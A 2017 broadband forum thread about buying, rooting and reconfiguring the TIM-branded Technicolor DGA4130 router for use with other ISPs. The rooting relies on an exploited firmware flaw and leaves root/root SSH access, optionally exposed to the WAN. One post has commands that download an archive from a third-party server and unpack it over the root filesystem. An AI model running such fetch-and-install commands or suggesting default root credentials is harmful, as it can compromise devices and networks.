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Broadband Related => Broadband Hardware => Topic started by: shdf on September 22, 2017, 09:49:33 AM

Title: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on September 22, 2017, 09:49:33 AM
Hello,
does anyone noticed this Modem/router based on Broadcom BCM63138 ?

(https://i.imgur.com/OAteyWR.jpg)

Complete review in italian here : http://www.hwupgrade.it/forum/showthread.php?t=2817859 (http://www.hwupgrade.it/forum/showthread.php?t=2817859)
Datasheet here : https://www.callflow.co.uk/wp-content/uploads/2017/04/ultrfast-technicolor-router-spec-sheet.pdf (https://www.callflow.co.uk/wp-content/uploads/2017/04/ultrfast-technicolor-router-spec-sheet.pdf)

Support:
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- G.vector
- G.inp
- Profile 17a and 35b

This modem/router comes from the italian ISP TIM, but can be unlocked to the original Technicolor Firmware.
How to easily Unlock the firmware for other ISP : https://www.ilpuntotecnicoeadsl.com/sblocco-smart-modem-evolution-dga4130-agtef/ (https://www.ilpuntotecnicoeadsl.com/sblocco-smart-modem-evolution-dga4130-agtef/)
This will enable FULL ROOT access to the device, SSH + Telnet !

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- Original technicolor GUI with modifications by @Ansuel
- Fix IPv6, now the modem negotiates IPv6 address (WIP)
- Possibility to set custom rules in the firewall
- Possibility to manage QoS both LAN and WAN (WIP)
- It is possible to add VoIP accounts also to operators other than TIM
- Possibility to use the modem with other operators in addition to TIM
- Easy configuration with other operators thanks to the wizard
- Fix "Assistance", you can also access the GUI from the external network in both temporary and permanent mode and the ability to choose a personal password
- Enable SSH with access to both LAN and WAN through root accounts
- Telnet Implementation
- Syslog Implementation
- Add gui buttons to activate bridge mode and voice mode
- Fix bug for which you could not create portforward rules
- Added WakeOnWan
- Possibility to install firmware and upgrade directly from gui (firmware files available in Ansuel repository)
- It is possible to view VoIP codecs and passwords in clear, gui
- Ability to export and import decrypted configuration files
- Added option to turn off mobile network
- Possibility to add static routing
- Enable / disable remote control from the graphical interface (not recommended)

The device can be found at a very low price and brand new on Ebay (40€ / £35 shipped) ! :
https://www.ebay.it/sch/i.html?_from=R40&_trksid=p2380057.m570.l1313.TR0.TRC0.H0.XDGA4130.TRS0&_nkw=DGA4130&_sacat=0 (https://www.ebay.it/sch/i.html?_from=R40&_trksid=p2380057.m570.l1313.TR0.TRC0.H0.XDGA4130.TRS0&_nkw=DGA4130&_sacat=0)




EDIT 10/10/2017:
How to root the modem, step by step:
http://forum.kitz.co.uk/index.php/topic,20343.msg356237.html#msg356237 (http://forum.kitz.co.uk/index.php/topic,20343.msg356237.html#msg356237)

How to install Transmission:
http://forum.kitz.co.uk/index.php/topic,20343.msg356335.html#msg356335 (http://forum.kitz.co.uk/index.php/topic,20343.msg356335.html#msg356335)

How to install Aria2:
http://forum.kitz.co.uk/index.php/topic,20343.msg356456.html#msg356456 (http://forum.kitz.co.uk/index.php/topic,20343.msg356456.html#msg356456)

EDIT 9 Jan 2018:
New Swiss tool to upgrade/downgrade Technicolor modems and also to root them:
http://forum.kitz.co.uk/index.php/topic,20343.msg362113.html#msg362113 (http://forum.kitz.co.uk/index.php/topic,20343.msg362113.html#msg362113)

EDIT 4 March 2018
Removed reference to G.Fast
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Dad-Of-5 on September 22, 2017, 01:57:40 PM
Not had a chance to look over this in detail and wont till much later tonight but any mention/chance of VPN tunnel capability?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: vic0239 on September 22, 2017, 02:43:19 PM
Allora, perfetto per praticare il mio italiano!  ;)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: burakkucat on September 22, 2017, 09:35:22 PM
Allora, perfetto per praticare il mio italiano!  ;)

"So, perfect for practicing my Italian!"  :angel:
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on September 23, 2017, 08:25:12 AM
This is the cheapest modem/router with a BCM63138, other brands like Asus/Netgear are way more expensive, around 200€.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on September 23, 2017, 03:15:05 PM
When it's unlocked, do you get access to the Busybox shell, or is it just the normal Technicolor CLI?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on September 23, 2017, 05:41:51 PM
From what i read you have root access from SSH, so you have full control.
I oredered one yesterday, i should receive it next week, i will be able to answer to all questions.  ::)

Both files, the unlocker and the unlocked firmware webui can be downloaded from here:
https://mega.nz/#F!Pd8TgAJA!t-Yj3SktM8dNqvoIwiWbmg
Firmware webui: 2.23
Unlocker version: 0.9.6

You can start watching in it  ;D

In the first step of the unlocker the description says:
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This tool allows root access to the modem. After logging in, you can install the original Technicolor interface, enable many options in the web interface and more. Once the automatic procedure is completed, the modem will be accessible with SSH protocol and username / password: root / root. The root is resistant to a reset or a firmware upgrade. If the reset button is pressed, only the original interface and configuration will be restored.
(https://i.imgur.com/lLeHN1f.jpg)

At the second step you can check:
1) Nuova GUI = The new original GUI from Technicolor (unlocked)
2) Disattiva cwmp = Disable cwmp = Disable TIM from accessing the router and upgrade to a new firmware.
3) importa e esporta conf in chiaro = Import/export configuration files unencrypted. So you will be able to edit the conf file.
(https://i.imgur.com/ae4wjtj.jpg)

After checking everything you just have to click the "Sblocca Ora!" button to unlock the firmware.

And now you can connect to the web interface and see the new technicolor Webui, and you can notice it supports other languages than italian.

(https://i.imgur.com/l3kNE5z.png)

What they say about the Original firmware:
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The new Technicolor versions are based on Openwrt (ChaosCalmer for precision). It follows that theoretically by forcing and fixing some configuration files it is possible, theoretically, to install additional packages on the modem. No studies have been done on this. Anyone making progress in this regard would be keen to share their experiences on the forum.

What they say about the Hack:
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What allows me to do this process? Virtually everything. This type of unlock is even more powerful than AGTOT. In that case, you enabled the root user but it was in a small shell. In this case you are 100% root. The router files, being all based on OpenWRT Chaos Chalmer, are r / w and accessible with SCP protocol. By unlocking it you will be able to enable the telnet protocol from gui. To access it, you can use any SSH client such as Putty.

The hacked firmware is checking everyday if an update is available :
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Update Gui

An autoupgrade system has been inserted. Every day, the modem will check with the repository and report updates on the gui.

For technical issues with the tool, I release the manual update for the gui ...
Run the following commands one at a time in SSH:

wget -P /tmp http://repository.ilpuntotecnicoeadsl.com/files/Ansuel/AGTEF/GUI.tar.bz2
bzcat /tmp/GUI.tar.bz2 | tar -C / -xvf -
/etc/init.d/rootdevice force
This can be disabled in /etc/crontabs/root
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on September 24, 2017, 07:53:34 AM
Looking at that GUI download I see that in /bin there's an executable called busybox_telnet, and in /etc/config there's a file called telnet containing:

config telnet 'general'
   option enable '0'

So it appears that enabling telnet should be straightforward.

[Later] I started to order one from the link given, but it wanted to charge me EUR 100 for delivery. :o
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: renluop on September 24, 2017, 08:47:53 AM
Simple man question: why no UK version?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on September 24, 2017, 09:59:12 AM
Technicolor sell mainly (or even exclusively now) through ISPs, so their availability in any country depends on the ISPs in that country.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on September 24, 2017, 11:18:03 AM
[Later] I started to order one from the link given, but it wanted to charge me EUR 100 for delivery. :o
WTF, i'm in France and i was charged 8€ only  :o Contact the seller there should be something misconfigured about shipping costs.
Edit: I see now that it is 100€ even for me... ???
And on Amazon international shipping is disabled https://www.amazon.it/SMART-MODEM-WI-FI-TIM-DGA4130/dp/B0747QBS2L

@renluop
if you watch to the datasheet link in my first post you'll see it comes from :  https://www.callflow.co.uk
Do they give this modem to their subscriber ? i don't know...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on September 24, 2017, 11:42:28 AM
It looks as though Technicolor have put a stop to international sales. It's a shame, because it looks like an interesting product.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on September 24, 2017, 11:44:19 AM
i contacted the Ebay seller and explained the problem he told me a few minutes ago that he will check this tomorow.
So keep an eye on it. ;)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on September 24, 2017, 11:47:39 AM
Thank you :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: renluop on September 24, 2017, 04:15:28 PM
WTF, i'm in France and i was charged 8€ only  :o Contact the seller there should be something misconfigured about shipping costs.
Edit: I see now that it is 100€ even for me... ???
And on Amazon international shipping is disabled https://www.amazon.it/SMART-MODEM-WI-FI-TIM-DGA4130/dp/B0747QBS2L

@renluop
if you watch to the datasheet link in my first post you'll see it comes from :  https://www.callflow.co.uk
Do they give this modem to their subscriber ? i don't know...
The counties listed by Callflow impress, but checking a number of large town centre postcodes seems to tell not the same story.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: ejs on September 24, 2017, 04:32:55 PM
Probably because Callflow do sub-loop unbundling, where they install their own FTTC cabinets in places where BT didn't want to. So they'll tend to be in more rural locations.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on September 24, 2017, 06:33:30 PM
Something changed about the delivery in my first post. You have to contact the seller first, to know the delivery cost.

And from ebay.it there are more choice:
https://www.ebay.it/dsc/Modem-router/101270/i.html?_mPrRngCbx=1&_nkw=3+evo
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: FornaEdwin on September 24, 2017, 07:28:17 PM
Thinking about spending the money to get this modem/router. What's everyone's opinion of it?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on September 24, 2017, 07:44:27 PM
For less than £40, a modem router with these specs...it is an unbeatable price.
I think the price is very low because you are supposed to subscribe to the italian isp TIM, they earn the money with the subscription. But they will lose a lot of money if we all buy their modem  ;D
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: renluop on September 24, 2017, 08:23:15 PM
Probably because Callflow do sub-loop unbundling, where they install their own FTTC cabinets in places where BT didn't want to. So they'll tend to be in more rural locations.
Yes, after looking them up, I found that does seem to be so. Their base is in the village East Peckham, that lies approximately midway between Maidstone -Tonbridge, Tunbridge Wells and Sevenoaks. The area has numerous hamlets and isolated houses and businesses. Reports are very varied.

Completely OT: East Peckham is where I bought my first marital home 50 years ago,
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: hushcoden on September 25, 2017, 01:01:58 PM
For less than £40, a modem router with these specs...it is an unbeatable price.
I think the price is very low because you are supposed to subscribe to the italian isp TIM, they earn the money with the subscription. But they will lose a lot of money if we all buy their modem  ;D

£40 is not big money, but personally I am not sure it's really worth it: I've been through the Italian forum and read many posts, and my understanding is that unlock is not really permanent, so the Italian ISP still could be able to overwrite with its own branded firmware and lock your modem again... or I am missing something...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on September 25, 2017, 01:25:44 PM
I read that you can disable tr069 (cwmp) from the GUI and from the CLI, to prenvent any unwanted upgrade. Anyway i also read here (http://www.hwupgrade.it/forum/showpost.php?p=45039983&postcount=2067) that the old firmware is kept in one of the 2 "banks"
 so you can reboot your modem with the previous firmware (press the reset button while rebooting).
Even after a firmware upgrade the root password doesn't change and SSH is still active (That's what i understood), only the webui will change. You can upload the unlocked webui again.
Also i don't think TIM will upgrade any modem outside of its ip range (just my opinion, i can be wrong)...unless the modem check itself for an update ?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on September 25, 2017, 07:36:49 PM
looks like the guy who made the unloker came here a few weeks ago:
http://forum.kitz.co.uk/index.php/topic,20299.0.html

Edit:
Dslstats works but crash only if you are on profile 35b. Because of the amount of data >4096
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on September 25, 2017, 10:38:36 PM
I intend to make DSLstats compatible with profile 35b when I can, but my time is limited and there are more immediate issues to deal with first.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Owen on September 26, 2017, 12:09:43 AM
Hello,
@shdf
In France, there is only VDSL2 on the profile 8b or 17a.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on September 26, 2017, 09:27:41 AM
@Roseway
No problemo ;D

@Owen
yes, but without having the device i can't say if dslstats will crash even with profile 17a...i didn't see anything confirming that in the italian forum...i keep reading, i'am at page 66 ;D

Am i the only one who bought that device here? is there anyone else ?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on September 26, 2017, 09:47:43 AM
Something interesting about how the Bank1/Bank2 (Upgrade/downgrade firmware) is working on that modem:
https://www.ilpuntotecnicoeadsl.com/forum/index.php/topic,77325.msg218934.html#msg218934

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The Technicolor DGA4130 modem is equipped with a dual bank internal eeprom, ie two different firmwares, one active and one passive (or failover so far) can be hosted on the same eeprom. The modem will obviously always charge the active one, and in the event of a prolonged crash (3 consecutive crashes for precision) for a variety of problems, it will automatically switch the passive firmware switch into active mode.

The vast majority of DGA4130s in active 200-mega active users (or those who have requested a new system) are generally set to charge the bank_1. To understand it, you need to log on as root to the modem (possible up to fw 1.0.3) and go inside the "overlay" folder. Here you will find a folder called "bank_x" (where x can be 1 or 2). In case you see 1 you are lucky, you can upgrade the fw to a later or lower version either by using the Ansuel tool and loading the new GUI (which allows the Gateway menu to update the fw) or using the procedure with TFTPd that will shut down the modem, insert a pin into the hole behind, hold down the reset by simultaneously switch on the modem and leave it on until the orange Power LED starts blinking.

However, if you are with bank_2, if you have fw 1.0.2 or 1.0.3, you will be unable to apply the procedure with TFTPd. This is because any firmware you want to flash, this will always be written on bank_1. In these cases, the only option is to always use the unlock tool (or the manual procedure) to have root access to the modem, enter WinSCP or Putty in SSH, and run the simple "switchover" command (without the quotation marks) . So doing the modem will switch from bank_2 to bank_1 and restart.
Once you have finished restarting you will find yourself with the active bank_1 (and passive bank_2) and you can follow the above procedure (or tool or TFTPd).

Problems arise in the following cases:

1) Factory modem without any unlock, with active bank_1 on which the firmware 1.0.4 Beta is flashing

2) Factory modem without any unlock, with active bank_2 and firmware 1.0.4 beta loaded.

In the first case, save only with the procedure for using TFTPd where you will give fw 1.0.3 or lower (1.0.2) in the modem meal. At the end of the process, the modem will restart, then enter 192.168.1.1 and run the Gateway menu a further reset to the factory settings to clean everything but really everything. Then you can unlock it in root with the Ansuel tool (or manually).

In the second case, instead, game over in all directions for the reasons outlined above and for the following reason:
Firmware 1.0.4 Beta fixes the vulnerability (LAN side) exploited by the Ansuel tool and this is why the tool does not work. Otherwise, not having the modem unlocked beforehand and bank_2 activates the possibility of loading a lower firmware with TFTPd (the only way to try flashing the eeprom) will write that firmware on the bank_1 and the modem will restart at the new reboot load the bank_2 as it has not been possible (and will not be in any way) to call up the switchover command (only possible with root access).

So in this unfortunate circumstance (which can happen I tell you it's clear and round), you will have a armored modem in every aspect and you can not do anything as long as no new security flaw can be found to be invoked to invoke the root shell of the modem same.

I hope it is clear once and for all the question and how the DGA4130 works

Acording to this post (https://www.ilpuntotecnicoeadsl.com/forum/index.php/topic,77325.msg219305.html#msg219305)
you can flash a firmware on both banks, in case TIM send you a new frmware, you can swith to the other bank wich has root access. Just copy the file in /tmp/
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sysupgrade -s /tmp/AGTEF_1.0.3_CLOSED.rbi
Firmwares can be found in their repository:
https://repository.ilpuntotecnicoeadsl.com/index.php?dir=Ansuel/AGTEF/
(https://i.imgur.com/sMP28er.png)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on September 26, 2017, 01:29:37 PM
Page 97  :D ....
something interesting : https://www.ilpuntotecnicoeadsl.com/forum/index.php/topic,77325.msg219417.html#msg219417
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I did some test with opkg.
Of course the brcm63xx-tch repository to which opkg does not exist so there are no packages to download.
However, I tried to install a package of an armv7l architecture and it works after working a bit.

I chose mvebu / generic architecture
I downloaded the file http://downloads.openwrt.org/chaos_calmer/15.05.1/mvebu/generic/packages/base/strace_4.8-1_mvebu.ipk
I unpacked the archive and changed the architecture in the file control: mvebu to brcm63xx-tch
I have reassembled everything in strace.ipk
At this point running opkg install ./strace.ipk is installed without any problems

This means that by creating a repository with the packets prepared in a certain way you may have a bit of software to install.

They made a repository by converting the mvebu architecture packages into brcm63xx-tch (bcm63138 ARM):
See here : https://www.ilpuntotecnicoeadsl.com/forum/index.php/topic,77325.msg219454.html#msg219454
and the temporary repository link (for testing) : https://repo.sp8t.com/
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: hushcoden on September 26, 2017, 08:44:22 PM
Has anybody been so brave to buy it and try it here in the UK?  ::)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: hushcoden on September 26, 2017, 08:49:55 PM
I found an Italian reseller http://www.dck.it/default.asp?cmdString=dga&cmdOP=AND&cmd=searchProd&bFormSearch=1 and it's just €19.99 but I need to investigate the shipping cost.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: clonc on September 27, 2017, 12:41:11 AM
I have the "black colander" too but sold together FTTC service from TIM at 187,2 € (3.9€/month x 48 months)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on September 27, 2017, 08:14:42 AM
At the moement this modem is for people who likes "hacking"...to really do everything you want with it, a minimum of openwrt knowledge is necessary...
The Wizard for the quick config in the WEBUI is for italians ISP (edit:the wizard let you configure your modem the way you want and is in english), but it can be adapted for other country. Once again you have to put your hands in the files.
that should not be so hard, it's just a matter of username/pass and VLANid or VPI/VCI config to add in the list...

After digging a little, here is the exploit that let you take control of the rooter:
https://www.crc.id.au/hacking-the-technicolor-tg799vac-and-unlocking-features/
so if you don't want to use the unlocking tool, you can do it manualy.
Note that it works only with firmware 1.0.2 or 1.0.3. it was fixed in firmware 1.0.4
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on September 27, 2017, 10:54:59 AM
i just received it :yay: it was dispatched this monday 25 sept  :)
So i will be able to start testing it  :cool:
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on September 27, 2017, 12:05:07 PM
Ok, so before i unlock it, here is the web interface and what you can do with it. First of all, the interface is automatically switched to English if your browser is not set to Italian  :) But there is no way to change the wan settings for your ISP.

(https://i.imgur.com/jl4Kl5U.png)

Gateway info :
(https://i.imgur.com/1e7pPXd.png)
(https://i.imgur.com/wicaxb1.png)
(https://i.imgur.com/myNgPnF.png)

Internet Access :
(https://i.imgur.com/RkdJbGc.png)

Lan Config:
(https://i.imgur.com/5ERFdiL.png)
(https://i.imgur.com/FabwLCN.png)
As you can see on the top left, you can set a different Network subnet for the wifi guest. ospiti means guest in italian.

Wan services :
(https://i.imgur.com/1GjLhJG.png)
(https://i.imgur.com/V4sZ4g1.png)

Firewall :
(https://i.imgur.com/XT2Mqx5.png)

Diagnostics xDSL :
(https://i.imgur.com/MauJ7G9.png)
(https://i.imgur.com/CfdDo96.png)
(https://i.imgur.com/lRbbtN0.png)
(https://i.imgur.com/FvFcsJ2.png)
(https://i.imgur.com/kuaOaTD.png)
(https://i.imgur.com/K2uWwIR.png)

Diagnostic Connection :
(https://i.imgur.com/xlD7kKK.png)

Sharing :
(https://i.imgur.com/yN3FBYI.png)

Remember i didn't connect the DSL cable during the screenshots to avoid the modem to update the firmware before i unlock it  ;) (well without even being connected to an ISP it's impossible but...)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on September 27, 2017, 12:30:20 PM
That's looking more and more interesting. I might have to make trip to Italy to get one. :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on September 27, 2017, 01:21:46 PM
6 Available in Amazon France:
https://www.amazon.fr/Smart-Wi-Fi-modem-fibre-dga4130/dp/B0747QBS2L
does it say they deliver in england ?

Well, before unlocking the modem i checked if ssh was enabled...and you know what ? it was already unlocked :o :o SSH was working, and root/root worked...
i remember i told to the seller that it was possible to unlock it, because he warned me that this modem only work in italy, i send him a link to the unlock tool, maybe he tested it ?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on September 27, 2017, 01:59:04 PM
This is the /etc/config/network file, which is where we can start playing to connect to our ISP  :) From here no need for any webui, you can configure your internet settings.

Code: [Select]
config interface 'loopback'
option ifname 'lo'
option proto 'static'
option ipaddr '127.0.0.1'
option netmask '255.0.0.0'
list dns '151.99.0.100'
list dns '151.99.125.1'
list dns '2001:4b18:1050:916f::53:c001'
list dns '2001:4b18:1050:916f::53:c002'
option dns_metric '10'

config globals 'globals'
option ula_prefix 'none'
option default_ps '0'

config device 'waneth4'
option type '8021q'
option name 'waneth4'
option macaddr '10:13:31:XX:XX:XX'
option ifname 'eth4'
option vid '835'
option ipv6 '0'

config device 'wanptm0'
option type '8021q'
option name 'wanptm0'
option macaddr '10:13:31:XX:XX:XX'
option ifname 'ptm0'
option vid '835'
option ipv6 '0'

config interface 'wan'
option proto 'pppoe'
option demand '0'
option ifname '<set by script>'
option keepalive '4,30'
option username 'xxxxxxxxxxxx-101331@00000.agcombo.unica'
option password 'alicenewag'
option graceful_restart '1'
option macaddr '10:13:31:XX:XX:XX'
option ipv6 '0'
option peerdns '1'
option reqopts '1 3 6 15 33 42 51 121 249'
option keepalive_adaptive '0'
option dns_metric '0'
option auto '1'

config config 'config'
option wan_mode 'pppoe'

config interface 'wwan'
option auto '1'
option proto 'mobiled'
option session_id '0'
option profile '1'

config interface 'wan6'
option proto 'dhcpv6'
option reqopts '12 21 22 23 24 25 31 56 64 67 82 83'
option noslaaconly '1'
option iface_464xlat '0'
option auto '0'
option dns_metric '20'
option ifname '@wan_ipv6'

config interface 'lan'
option type 'bridge'
option proto 'static'
option ipaddr '192.168.1.1'
option netmask '255.255.255.0'
option ip6assign '64'
option force_link '0'
option ipv6 '0'
option ifname 'eth0 eth1 eth2 eth3 eth5'
option pppoerelay '<set by script>'

config switch 'bcmsw'
option reset '1'
option enable_vlan '0'
option qosimppauseenable '0'
option jumbo '0'

config interface 'wlnet_b_24'
option proto 'static'
option ip6assign '64'
option ipv6 '0'
option ip6hint '1'
option netmask '255.255.255.128'
option ipaddr '192.168.168.1'
option ifname 'wl0_1'
option force_link '0'
option name 'Ospiti-TIM-24101535'

config interface 'wlnet_b_5'
option proto 'static'
option ip6assign '64'
option ipv6 '0'
option ip6hint '2'
option netmask '255.255.255.128'
option ipaddr '192.168.168.129'
option ifname 'wl1_1'
option force_link '0'
option name 'Ospiti-TIM-24101535'

config device 'wlnet_b_5eth5'
option type '8021q'
option name 'wl1_1'
option enabled '1'
option ifname 'eth5'
option vid '3'
option ipv6 '0'

config interface 'wan_ipv6'
option auto '0'
option proto 'pppoe'
option demand '0'
option keepalive '4,30'
option password 'IPV6@alice6'
option graceful_restart '1'
option macaddr '10:13:31:XX:XX:XX'
option ipv6 '1'
option peerdns '1'
option reqopts '1 3 6 15 33 42 51 121 249'
option keepalive_adaptive '0'
option dns_metric '0'
option ifname 'wanptm0'
option username 'xxxxxxxxxxxx-101331@alice6.it'
option metric '10'

config interface 'ipoe'
option proto 'dhcp'
option metric '1'
option reqopts '1 3 6 43 51 58 59'
option release '1'
option neighreachabletime '1200000'
option neighgcstaletime '2400'
option ipv6 '1'

Replacing :
option vid '835' with your ISP Vlan ID
option username 'xxxxxxxxxxxx-101331@00000.agcombo.unica' with your username
option password 'alicenewag' with your password
Should make you connect to your ISP with PPPOE  :)

I'll test this tonight, i'm actually at work  :-[ :-[ :police:
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: phi2008 on September 27, 2017, 02:25:05 PM
6 Available in Amazon France:
https://www.amazon.fr/Smart-Wi-Fi-modem-fibre-dga4130/dp/B0747QBS2L
does it say they deliver in england ?

No delivery to the UK, so you'd either have to find a seller who ships internationally or use a forwarding service(I've done this shipping with Amazon from the US).
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on September 27, 2017, 02:40:42 PM
Looks like that seller is located in italia, see here (https://www.amazon.fr/sp?_encoding=UTF8&asin=&isAmazonFulfilled=1&isCBA=&marketplaceID=A13V1IB3VIYZZH&orderID=&seller=A2PURK184R6F70&tab=&vasStoreID=)
Why they don't want to sell in UK ?? :-\
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on September 27, 2017, 04:47:29 PM
Hi !
So i'm actually connected with the DGA4130  :cool:  ;D
What i said above is working :
Quote
Replacing :
option vid '835' with your ISP Vlan ID
option username 'xxxxxxxxxxxx-101331@00000.agcombo.unica' with your username
option password 'alicenewag' with your password

Should make you connect to your ISP with PPPOE

i also changed the DNS related to my ISP at the top of the file.

(https://i.imgur.com/MsOrtYT.png)

i'm synch at 80/17 wich is the same as my ISP box (also with a BCM63138)
I have my ISP Livebox4, a BT HH5A flashed with LEDE/openwrt, a Huawei HG612.  from higher synch to lower :
DGA4130 and Livebox4 (80Mbits)> HG612 (78Mbits) > HH5A (77Mbits)
i'm at 301 metter of the cabinet.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: burakkucat on September 27, 2017, 06:05:32 PM
It certainly looks like an interesting device.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on September 27, 2017, 10:13:25 PM
Thanks for the info shdf.

Can you bridge it and turn it into a dumb modem to server eg pfsense?

Also I wonder if there is a way to setup openvpn and what throughput would be like.

 :) :) :) :) :) :) :) :) :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on September 27, 2017, 11:04:51 PM
i installed the hacked Webui, i can confirm that everything is in english  :) and there are a ton of useful things.

(https://i.imgur.com/ksO5aKi.png)
(https://i.imgur.com/OtKWdCw.png)

The setup wizard let you configure the internet connection the way you want.
(https://i.imgur.com/T8DX9O3.png)
(https://i.imgur.com/fDVmUV9.png)
(https://i.imgur.com/voOkETK.png)
(https://i.imgur.com/T21RZ8Z.png)
(https://i.imgur.com/QdGPVU1.png)
(https://i.imgur.com/IndV5p0.png)

There is a wifi analyser for 2.4Ghz and 5Ghz and you can see all access points near you.
(https://i.imgur.com/5dF8UOD.png)
(https://i.imgur.com/05ejDjk.png)

in the gateway card, many new things:
(https://i.imgur.com/QPmJQVC.png)
(https://i.imgur.com/rVxz0nU.png)
(https://i.imgur.com/2M3QL7v.png)

in the Broadband :
(https://i.imgur.com/tvBn7Xb.png)
(https://i.imgur.com/axZmB7Q.png)

Internet Access :
(https://i.imgur.com/nUsZkAG.png)

Wan services :
69 dyndns services supported !
(https://i.imgur.com/yM8EkRy.png)

Wake on LAN over the Internet
(https://i.imgur.com/PcGgFMA.png)

In Diagnostics, you have Port mirroring !
(https://i.imgur.com/zfbh8mD.png)

And tcpdump :
(https://i.imgur.com/7E8ZefA.png)

well, i will stop here  ;D
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on September 27, 2017, 11:09:58 PM
Thanks for the info shdf.

Can you bridge it and turn it into a dumb modem to server eg pfsense?

Also I wonder if there is a way to setup openvpn and what throughput would be like.

 :) :) :) :) :) :) :) :) :)
yes you can bridge it.
(https://i.imgur.com/sMpNrw4.png)

About openvpn it's just a question of time, they started the openwrt repository for that modem here : http://brcm63xx-tch.ddns.net/
openvpn is in the base folder  :)
They are actually waiting for the GPL source from technicolor to recompile everything and make full openwrt firmware.
 
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on September 27, 2017, 11:44:23 PM
i just tested dslstats, and it doesn't crash, i'm on a 17a vdsl profile.

The configuration :
(https://i.imgur.com/NJzcrG9.png)

(https://i.imgur.com/vF1Q9Ih.png)

(https://i.imgur.com/9cdWl6j.png)

(https://i.imgur.com/tsl8ymR.png)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: j0hn on September 28, 2017, 01:22:24 AM
 Would snap this up if I could find somewhere that will deliver to the UK.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: ktz392837 on September 28, 2017, 05:26:56 AM
Would snap this up if I could find somewhere that will deliver to the UK.
I think I would too - seems to be great value for money.  Probably just need to be careful to ensure the firmware version has not been updated to stop unlocking.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on September 28, 2017, 07:32:31 AM
There was a point at which I could have had one if I was prepared to pay EUR 100 for delivery. I'm beginning to wish I'd done that.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on September 28, 2017, 07:52:41 AM
just go to ebay.it contact the vendor and ask him to deliver to UK, it should not cost more tant 15€, 20€ max. After all they want to sell their modem or not ?!
in fact as the modem is not supposed to work outside italia the sellers blocked external delivery to avoid problems, but if you say you want it and you know what you are doing i think there is no problem.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on September 28, 2017, 08:18:56 AM
I've tried it (I hope the seller speaks English because I speak no Italian at all :) ).
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on September 28, 2017, 10:49:41 AM
i sent a message to all italian sellers asking them to open international shipping as this modem is working with other ISP. keep an eye : https://www.ebay.it/sch/i.html?_from=R40&_trksid=p2380057.m570.l1313.TR0.TRC0.H0.Xdga4130.TRS0&_nkw=dga4130&_sacat=0
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on September 28, 2017, 11:16:03 AM
